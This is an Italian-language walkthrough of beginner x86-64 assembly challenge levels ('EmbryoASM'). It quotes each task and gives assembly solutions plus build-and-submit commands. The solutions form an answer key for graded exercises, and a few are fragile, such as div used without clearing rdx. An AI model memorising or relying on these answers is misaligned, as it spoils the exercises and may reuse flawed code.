Modulo in assembly is another interesting concept! x86 allows you to get the remainder after doing a division on something. For instance: $10 / 3 \rightarrow \text{remainder} = 1$ You can get the remainder of a division using the instructions introduced earlier through the div instruction. In most programming languages we refer to mod with the symbol '%'.

Please compute the following: rdi % rsi Place the value in rax.

We will now set the following in preparation for your code: rdi = 0x3958dcfe rsi = 0x1f

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file embryoasm.s

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    mov rax, rdi
```

```
    div rsi
```

```
    mov rax, rdx
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

6

Welcome to EmbryoASMLevel6

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with registers. You will be asked to modify or read from registers__use.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers__use. We will tell you which registers__use are set beforehand and where you should put the result. In most cases, its rax.

Another cool concept in x86 is the independent access to lower register bytes. Each register in x86 is 64 bits in size, in the previous levels we have accessed the full register using rax, rdi or rsi. We can also access the lower bytes of each register using different register names. For example the lower 32 bits of rax can be accessed using eax, lower 16 bits using ax, lower 8 bits using al, etc. MSB
 LSB +-----+ | rax | +-----+
 | eax | +-----+ | ax | +-----+ | ah | al | +-----+ Lower register
 bytes access is applicable to all registers__use.

Using only the following instruction(s) mov Please compute the following: rax = rdi modulo 256 rbx = rsi modulo 65536

We will now set the following in preparation for your code: rdi = 0x37bd rsi = 0x6fc74346

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file embryoasm.s

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    mov al, dil
```

```
    mov bx, si
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

7

Welcome to EmbryoASMLevel7

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with registers. You will be asked to modify or read from registers__use.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers__use. We will tell you which registers__use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with bit logic and operations. This will involve heavy use of directly interacting with bits stored in a register or memory location. You will also likely need to make use of the logic instructions in x86: and, or, not, xor.

Shifting in assembly is another interesting concept! x86 allows you to 'shift' bits around in a register. Take for instance, rax. For the sake of this example say rax only can store 8 bits (it normally stores 64). The value in rax is: rax = 10001010 If we shift the value once to the left: shl rax, 1 The new value is: rax = 00010100 As you can see, everything shifted to the left and the highest bit fell off and a new 0 was added to the right side. You can use this to do special things to the bits you care about. It also has the nice side affect of doing quick multiplication, division, and possibly modulo. Here are the important instructions: shl reg1, reg2 <=> Shift reg1 left by the amount in reg2 shr reg1, reg2 <=> Shift reg1 right by the amount in reg2 Note: all 'regX' can be replaced by a constant or memory location

Using only the following instructions: mov, shr, shl Please perform the following: Set rax to the 5th least significant byte of rdi i.e. rdi = | B7 | B6 | B5 | B4 | B3 | B2 | B1 | B0 | Set rax to the value of B4

We will now set the following in preparation for your code: rdi = 0x6a523ea9c0bb33f0

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    mov rax, rdi
    shr rax, 32
    shl rax, 56
    shr rax, 56
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

8

Welcome to EmbryoASMLevel8

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with registers. You will be asked to modify or read from registers__use.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers__use. We will tell you which registers__use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with bit logic and operations. This will involve heavy use of directly interacting with bits stored in a register or memory location. You will also likely need to make use of the logic instructions in x86: and, or, not, xor.

Bitwise logic in assembly is yet another interesting concept! x86 allows you to perform logic operation bit by bit on registers. For the sake of this example say registers only store 8 bits. The values in rax and rbx are: rax = 10101010 rbx = 00110011 'If we were to perform a bitwise AND of rax and rbx using the and rax, rbx instruction' the result would be calculated by ANDing each pair bits 1 by 1 hence why it's called a bitwise logic. So from left to right: 1 AND 0 = 0, 0 AND 0 = 0, 1 AND 1 = 1, 0 AND 1 = 0 ... Finally we combine the results together to get: rax = 00100010 Here are some truth tables for reference: AND OR XOR A | B | X A | B | X A | B | X —+—+—+ —+—+—+ —+—+—+ 0 | 0 |

0 0 | 0 | 0 0 | 0 | 0 0 | 1 | 0 0 | 1 | 1 0 | 1 | 1 1 | 0 | 0 1 | 0 | 1 1 | 0 | 1 1 | 1 | 1 1 |
1 | 1 1 | 1 | 0

Without using the following instructions: mov, xchg Please perform the following:
rax = rdi AND rsi i.e. Set rax to the value of (rdi AND rsi)

We will now set the following in preparation for your code: rdi =
0x942825333ed839c3 rsi = 0x627219a74984b834

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    xor rax, rax
```

```
    or rax, rdi
```

```
    and rax, rsi
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova
`embryoasm.s`)

```
gcc -static -nostdlib -o embryoasm embryoasm.s  
objcopy --dump-section .text=embryoasm.tex embryoasm  
cat embryoasm.tex | /challenge/embryoasm_level*
```

9

Welcome to EmbryoASMLLevel9

To interact with any level you will send raw bytes over stdin to this program.
To efficiently solve these problems, first run it once to see what you need then
craft, assemble, and pipe your bytes to this program.

In this level you will be working with registers. You will be asked to modify or
read from registers__use.

We will now set some values in memory dynamically before each run. On
each run the values will change. This means you will need to do some type of
formulaic operation with registers__use. We will tell you which registers__use are
set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with bit logic and operations. This will involve
heavy use of directly interacting with bits stored in a register or memory location.
You will also likely need to make use of the logic instructions in x86: and, or,
not, xor.

Using only the following instructions: and, or, xor Implement the following logic:

if x is even then y = 1 else y = 0 where: x = rdi y = rax

We will now set the following in preparation for your code: rdi = 0x358095a8

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix
```

```
.global _start
```

```
.section .text
```

```
_start:
```

```
    xor rax, rax
```

```
    or rax, 1
```

```
    and rdi, 1
```

```
    xor rax, rdi
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
```

```
objcopy --dump-section .text=embryoasm.tex embryoasm
```

```
cat embryoasm.tex | /challenge/embryoasm_level*
```

10

Welcome to EmbryoASMLLevel10

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers_use. We will tell you which registers_use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with memory. This will require you to read or write to things stored linearly in memory. If you are confused, go look at the linear addressing module in 'ike. You may also be asked to dereference things, possibly multiple times, to things we dynamically put in memory for your use.

Up until now you have worked with registers as the only way for storing things, essentially variables like 'x' in math. Recall that memory can be addressed. Each address contains something at that location, like real addresses! As an example: the address '699 S Mill Ave, Tempe, AZ 85281' maps to the 'ASU Campus'. We

would also say it points to ‘ASU Campus’. We can represent this like: [‘699 S Mill Ave, Tempe, AZ 85281’] = ‘ASU Campus’ The address is special because it is unique. But that also does not mean other address cant point to the same thing (as someone can have multiple houses). Memory is exactly the same! For instance, the address in memory that your code is stored (when we take it from you) is 0x400000. In x86 we can access the thing at a memory location, called dereferencing, like so: `mov rax, [some_address]` $\Leftrightarrow$ Moves the thing at ‘some_address’ into rax This also works with things in registers: `mov rax, [rdi]` $\Leftrightarrow$ Moves the thing stored at the address of what rdi holds to rax This works the same for writing: `mov [rax], rdi` $\Leftrightarrow$ Moves rdi to the address of what rax holds. So if rax was 0xdeadbeef, then rdi would get stored at the address 0xdeadbeef: `[0xdeadbeef] = rdi` Note: memory is linear, and in x86, it goes from 0 - 0xffffffff (yes, huge).

Please perform the following: 1. Place the value stored at 0x404000 into rax 2. Increment the value stored at the address 0x404000 by 0x1337 Make sure the value in rax is the original value stored at 0x404000 and make sure that `[0x404000]` now has the incremented value.

We will now set the following in preparation for your code: `[0x404000] = 0x12371a`

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    mov rax, [0x404000]
    mov rbx, rax
    add rbx, 0x1337
    mov [0x404000], rbx
```

Lo compilo e mando il risultato (all’interno della cartella dove si trova `embryoasm.s`)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

11

Welcome to EmbryoASMLLevel11

To interact with any level you will send raw bytes over stdin to this program.

To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers_use. We will tell you which registers_use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with memory. This will require you to read or write to things stored linearly in memory. If you are confused, go look at the linear addressing module in 'ike. You may also be asked to dereference things, possibly multiple times, to things we dynamically put in memory for your use.

Recall that registers in x86_64 are 64 bits wide, meaning they can store 64 bits in them. Similarly, each memory location is 64 bits wide. We refer to something that is 64 bits (8 bytes) as a quad word. Here is the breakdown of the names of memory sizes: * Quad Word = 8 Bytes = 64 bits * Double Word = 4 bytes = 32 bits * Word = 2 bytes = 16 bits * Byte = 1 byte = 8 bits In x86_64, you can access each of these sizes when dereferencing an address, just like using bigger or smaller register accesses: mov al, [address] <=> moves the least significant byte from address to rax mov ax, [address] <=> moves the least significant word from address to rax mov eax, [address] <=> moves the least significant double word from address to rax mov rax, [address] <=> moves the full quad word from address to rax Remember that moving only into al for instance does not fully clear the upper bytes.

Please perform the following: 1) Set rax to the byte at 0x404000 2) Set rbx to the word at 0x404000 3) Set rcx to the double word at 0x404000 4) Set rdx to the quad word at 0x404000

We will now set the following in preparation for your code: [0x404000] = 0x1dc397

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    xor rax, rax
    mov al, [0x404000]
    xor rbx, rbx
    mov bx, [0x404000]
    xor rcx, rcx
    mov ecx, [0x404000]
```

```

xor rdx, rdx
mov rdx, [0x404000]

```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```

gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*

```

12

Welcome to EmbryoASMLevel12

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers_use. We will tell you which registers_use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with memory. This will require you to read or write to things stored linearly in memory. If you are confused, go look at the linear addressing module in 'ike. You may also be asked to dereference things, possibly multiple times, to things we dynamically put in memory for your use.

It is worth noting, as you may have noticed, that values are stored in reverse order of how we represent them. As an example, say: [0x1330] = 0x00000000dead0de. If you examined how it actually looked in memory, you would see: [0x1330] = 0xde 0xc0 0xad 0xde 0x00 0x00 0x00 0x00. This format of storing things in 'reverse' is intentional in x86, and its called Little Endian.

For this challenge we will give you two addresses created dynamically each run. The first address will be placed in rdi. The second will be placed in rsi. Using the earlier mentioned info, perform the following: 1. set [rdi] = 0xdeadbeef00001337 2. set [rsi] = 0xc0ffee0000. Hint: it may require some tricks to assign a big constant to a dereferenced register. Try setting a register to the constant then assigning that register to the dereferenced register.

We will now set the following in preparation for your code: [0x4044d8] = 0xffffffffffffff [0x404a40] = 0xffffffffffffff rdi = 0x4044d8 rsi = 0x404a40

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file embryoasm.s

```

.intel_syntax noprefix

```

```

.global _start
.section .text

_start:
    mov rax, 0xdeadbeef00001337
    mov [rdi], rax
    mov rax, 0xc0ffee0000
    mov [rsi], rax

```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```

gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*

```

13

Welcome to EmbryoASMLevel13

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers_use. We will tell you which registers_use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with memory. This will require you to read or write to things stored linearly in memory. If you are confused, go look at the linear addressing module in 'ike. You may also be asked to dereference things, possibly multiple times, to things we dynamically put in memory for your use.

Recall that memory is stored linearly. What does that mean? Say we access the quad word at 0x1337: $[0x1337] = 0x00000000deadbeef$ The real way memory is layed out is byte by byte, little endian: $[0x1337] = 0xef$ $[0x1337 + 1] = 0xbe$ $[0x1337 + 2] = 0xad \dots [0x1337 + 7] = 0x00$ What does this do for us? Well, it means that we can access things next to each other using offsets, like what was shown above. Say you want the 5th *byte* from an address, you can access it like: `mov al, [address+4]` Remember, offsets start at 0.

Perform the following: 1. load two consecutive quad words from the address stored in rdi 2. calculate the sum of the previous steps quad words. 3. store the sum at the address in rsi

We will now set the following in preparation for your code: $[0x404198] = 0xc8bbb$ $[0x4041a0] = 0x5f897$ $rdi = 0x404198$ $rsi = 0x404670$

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    mov rax, [rdi]
    mov rbx, [rdi+8]
    add rax, rbx
    mov [rsi], rax
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

14

Welcome to EmbryoASMLLevel14

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers_use. We will tell you which registers_use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with the Stack, the memory region that dynamically expands and shrinks. You will be required to read and write to the Stack, which may require you to use the pop & push instructions. You may also need to utilize rsp to know where the stack is pointing.

In these levels we are going to introduce the stack. The stack is a region of memory, that can store values for later. To store a value a on the stack we use the push instruction, and to retrieve a value we use pop. The stack is a last in first out (LIFO) memory structure this means the last value pushed in the first value popped. Imagine unloading plates from the dishwasher let's say there are 1 red, 1 green, and 1 blue. First we place the red one in the cabinet, then the green on top of the red, then the blue. Our stack of plates would look like: Top —> Blue Green Bottom -> Red Now if we wanted a plate to make a sandwich we would retrieve the top plate from the stack which would be the blue one that was last into the cabinet, ergo the first one out.

Replace the top value of the stack with (top value of the stack - rdi).

We will now set the following in preparation for your code: rdi = 0xb57 (stack)
[0x7ffff1ffff8] = 0x29e58f7c

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    pop rax
    sub rax, rdi
    push rax
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

15

Welcome to EmbryoASMLevel15

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers_use. We will tell you which registers_use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with the Stack, the memory region that dynamically expands and shrinks. You will be required to read and write to the Stack, which may require you to use the pop & push instructions. You may also need to utilize rsp to know where the stack is pointing.

In this level we are going to explore the last in first out (LIFO) property of the stack.

Using only following instructions: push, pop Swap values in rdi and rsi. i.e. If to start rdi = 2 and rsi = 5 Then to end rdi = 5 and rsi = 2

We will now set the following in preparation for your code: rdi = 0x3860f368 rsi = 0x16bd319c

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    push rdi
    push rsi
    pop rdi
    pop rsi
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

16

Welcome to EmbryoASMLevel16

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers_use. We will tell you which registers_use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with the Stack, the memory region that dynamically expands and shrinks. You will be required to read and write to the Stack, which may require you to use the pop & push instructions. You may also need to utilize rsp to know where the stack is pointing.

In the previous levels you used push and pop to store and load data from the stack however you can also access the stack directly using the stack pointer. The stack pointer is stored in the special register rsp. rsp always stores the memory address to the top of the stack, i.e. the memory address of the last value pushed. Similar to the memory levels we can use [rsp] to access the value at the memory address in rsp.

Without using pop please calculate the average of 4 consecutive quad words stored on the stack. Store the average on the top of the stack. Hint: RSP+0x?? Quad Word A RSP+0x?? Quad Word B RSP+0x?? Quad Word C RSP Quad Word D RSP-0x?? Average

We will now set the following in preparation for your code: (stack) [0x7ffff200000:0x7ffff1fffe0] = ['0x36811c7a', '0x229edb15', '0x7b46a74', '0x2d7def8'] (list of things)

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    mov rax, [rsp]
    add rax, [rsp + 8]
    add rax, [rsp + 16]
    add rax, [rsp + 24]
    shr rax, 2
    push rax
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

17

Welcome to EmbryoASMLevel17

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of formulaic operation with registers_use. We will tell you which registers_use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with control flow manipulation. This involves using instructions to both indirectly and directly control the special register `rip`,

the instruction pointer. You will use instructions like: `jmp`, `call`, `cmp`, and the like to implement requests behavior.

Earlier, you learned how to manipulate data in a pseudo-control way, but x86 gives us actual instructions to manipulate control flow directly. There are two major ways to manipulate control flow: 1. through a jump; 2. through a call. In this level, you will work with jumps. There are two types of jumps: 1. Unconditional jumps 2. Conditional jumps Unconditional jumps always trigger and are not based on the results of earlier instructions. As you know, memory locations can store data and instructions. Your code will be stored at 0x4000ad (this will change each run). For all jumps, there are three types: 1. Relative jumps 2. Absolute jumps 3. Indirect jumps In this level we will ask you to do both a relative jump and an absolute jump. You will do a relative jump first, then an absolute one. You will need to fill space in your code with something to make this relative jump possible. We suggest using the `nop` instruction. It's 1 byte and very predictable. Useful instructions for this level is: `jmp (reg1 | addr | offset) ; nop` Hint: for the relative jump, lookup how to use `labels` in x86.

Using the above knowledge, perform the following: Create a two jump trampoline: 1. Make the first instruction in your code a `jmp` 2. Make that `jmp` a relative jump to 0x51 bytes from its current position 3. At 0x51 write the following code: 4. Place the top value on the stack into register `rdi` 5. `jmp` to the absolute address 0x403000

We will now set the following in preparation for your code: - Loading your given code at: 0x4000ad - (stack) [0x7ffff1fff8] = 0x74

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    jmp trampoline

    .rept 0x51
    nop
    .endr

trampoline:
    pop rdi
    push 0x403000
    ret
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova embryoasm.s)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

18

Welcome to EmbryoASMLLevel18

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with control flow manipulation. This involves using instructions to both indirectly and directly control the special register `rip`, the instruction pointer. You will use instructions like: `jmp`, `call`, `cmp`, and the like to implement requests behavior.

We will be testing your code multiple times in this level with dynamic values! This means we will be running your code in a variety of random ways to verify that the logic is robust enough to survive normal use. You can consider this as normal dynamic value se

We will now introduce you to conditional jumps—one of the most valuable instructions in x86. In higher level programming languages, an if-else structure exists to do things like: if x is even: `is_even = 1` else: `is_even = 0` This should look familiar, since its implementable in only bit-logic. In these structures, we can control the programs control flow based on dynamic values provided to the program. Implementing the above logic with `jumps` can be done like so:

```
; assume rdi = x, rax is output
; rdx = rdi mod 2
mov rax, rdi
mov rsi, 2
div rsi
; remainder is 0 if even
cmp rdx, 0
; jump to not_even code is its not 0
jne not_even
; fall through to even code
mov rbx, 1
jmp done
; jump to this only when not_even
not_even:
mov rbx, 0
done:
mov rax, rbx
```

```
; more instructions here
```

Often though, you want more than just a single ‘if-else’. Sometimes you want two if checks, followed by an else. To do this, you need to make sure that you have control flow that ‘falls-through’ to the next `if` after it fails. All must jump to the same `done` after execution to avoid the else. There are many jump types in x86, it will help to learn how they can be used. Nearly all of them rely on something called the ZF, the Zero Flag. The ZF is set to 1 when a `cmp` is equal. 0 otherwise.

Using the above knowledge, implement the following: if `[x]` is `0x7f454c46`: $y = [x+4] + [x+8] + [x+12]$ else if `[x]` is `0x00005A4D`: $y = [x+4] - [x+8] - [x+12]$ else: $y = [x+4] * [x+8] * [x+12]$ where: `x = rdi`, `y = rax`. Assume each dereferenced value is a signed dword. This means the values can start as a negative value at each memory position. A valid solution will use the following at least once: `jmp` (any variant), `cmp`

We will now run multiple tests on your code, here is an example run: - (data) `[0x404000] = {4 random dwords}` - `rdi = 0x404000`

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    xor rax, rax
    cmp dword ptr [rdi], 0x7f454c46
    je op1
    cmp dword ptr [rdi], 0x00005a4d
    je op2
    mov eax, dword ptr[rdi+4]
    imul eax, dword ptr[rdi+8]
    imul eax, dword ptr[rdi+12]
    jmp end1

op1:
    mov eax, dword ptr[rdi+4]
    add eax, dword ptr[rdi+8]
    add eax, dword ptr[rdi+12]
    jmp end1

op2:
    mov eax, dword ptr[rdi+4]
```

```

    sub eax, dword ptr[rdi+8]
    sub eax, dword ptr[rdi+12]
    jmp end1
end1:
    nop

```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```

gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*

```

19

Welcome to EmbryoASMLevel19

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with control flow manipulation. This involves using instructions to both indirectly and directly control the special register `rip`, the instruction pointer. You will use instructions like: `jmp`, `call`, `cmp`, and the like to implement requests behavior.

We will be testing your code multiple times in this level with dynamic values! This means we will be running your code in a variety of random ways to verify that the logic is robust enough to survive normal use. You can consider this as normal dynamic value se

The last set of jump types is the indirect jump, which is often used for switch statements in the real world. Switch statements are a special case of if-statements that use only numbers to determine where the control flow will go. Here is an example: `switch(number): 0: jmp do_thing_0 1: jmp do_thing_1 2: jmp do_thing_2 default: jmp do_default_thing` The switch in this example is working on `number`, which can either be 0, 1, or 2. In the case that `number` is not one of those numbers, default triggers. You can consider this a reduced else-if type structure. In x86, you are already used to using numbers, so it should be no surprise that you can make if statements based on something being an exact number. In addition, if you know the range of the numbers, a switch statement works very well. Take for instance the existence of a jump table. A jump table is a contiguous section of memory that holds addresses of places to jump. In the above example, the jump table could look like: `[0x1337]` = address of `do_thing_0` `[0x1337+0x8]` = address of `do_thing_1` `[0x1337+0x10]` = address of `do_thing_2` `[0x1337+0x18]` = address of `do_default_thing` Using the jump table, we can greatly reduce the amount of `cmps` we use. Now all we need to check is if `number` is greater than 2. If it is, always do: `jmp [0x1337+0x18]` Otherwise: `jmp [jump_table_address + number * 8]` Using the above knowledge,

implement the following logic: if rdi is 0: jmp 0x403035 else if rdi is 1: jmp 0x4030de else if rdi is 2: jmp 0x4031ec else if rdi is 3: jmp 0x40329b else: jmp 0x403360 Please do the above with the following constraints: - assume rdi will NOT be negative - use no more than 1 cmp instruction - use no more than 3 jumps (of any variant) - we will provide you with the number to 'switch' on in rdi. - we will provide you with a jump table base address in rsi.

Here is an example table: [0x404135] = 0x403035 (addrs will change) [0x40413d] = 0x4030de [0x404145] = 0x4031ec [0x40414d] = 0x40329b [0x404155] = 0x403360

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file `embryoasm.s`

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    cmp rdi, 4
    jg reset
    jmp start
reset:
    mov rdi, 4
start:
    imul rdi, 8
    add rsi, rdi
    mov rax, qword ptr [rsi]
    jmp rax
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova `embryoasm.s`)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

20

Welcome to EmbryoASMLLevel20

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

We will now set some values in memory dynamically before each run. On each run the values will change. This means you will need to do some type of

formulaic operation with registers__use. We will tell you which registers__use are set beforehand and where you should put the result. In most cases, its rax.

In this level you will be working with control flow manipulation. This involves using instructions to both indirectly and directly control the special register **rip**, the instruction pointer. You will use instructions like: **jmp**, **call**, **cmp**, and the like to implement requests behavior.

In a previous level you computed the average of 4 integer quad words, which was a fixed amount of things to compute, but how do you work with sizes you get when the program is running? In most programming languages a structure exists called the for-loop, which allows you to do a set of instructions for a bounded amount of times. The bounded amount can be either known before or during the programs run, during meaning the value is given to you dynamically. As an example, a for-loop can be used to compute the sum of the numbers 1 to n: $\text{sum} = 0$ $i = 1$ for $i \leq n$: $\text{sum} += i$ $i += 1$

Please compute the average of n consecutive quad words, where: **rdi** = memory address of the 1st quad word **rsi** = n (amount to loop for) **rax** = average computed

We will now set the following in preparation for your code: - [0x4040d8:0x404290] = {n qwords}} - **rdi** = 0x4040d8 - **rsi** = 55

Please give me your assembly in bytes (up to 0x1000 bytes):

SOLUZIONE:

Creo il file **embryoasm.s**

```
.intel_syntax noprefix

.global _start
.section .text

_start:
    push rsi
    xor rax, rax
start:
    add rax, qword ptr [rdi]
    add rdi, 8
    sub rsi, 1
    cmp rsi, 0
    je end
    jmp start
end:
    pop rsi
    div rsi
```

Lo compilo e mando il risultato (all'interno della cartella dove si trova **embryoasm.s**)

```
gcc -static -nostdlib -o embryoasm embryoasm.s
objcopy --dump-section .text=embryoasm.tex embryoasm
cat embryoasm.tex | /challenge/embryoasm_level*
```

21

Welcome to EmbryoASMLevel21

To interact with any level you will send raw bytes over stdin to this program. To efficiently solve these problems, first run it once to see what you need then craft, assemble, and pipe your bytes to this program.

In this level you will be working with control flow manipulation. This involves using instructions to both indirectly and directly control the special register `rip`, the instruction pointer. You will use instructions like: `jmp`, `call`, `cmp`, and the like to implement requests behavior.

We will be testing your code multiple times in this level with dynamic values! This means we will be running your code in a variety of random ways to verify that the logic is robust enough to survive normal use. You can consider this as normal dynamic value se

In previous levels you discovered the for-loop to iterate for a *number* of times, both dynamically and statically known, but what happens when you want to iterate until you meet a condition? A second loop structure exists called the while-loop to fill this demand. In the while-loop you iterate until a condition is met. As an example, say we had a location in memory with adjacent numbers and we wanted to get the average of all the numbers until we find one bigger or equal to `0xff`: `average = 0 i = 0 while x[i] < 0xff: average += x[i] i += 1 average /= i`

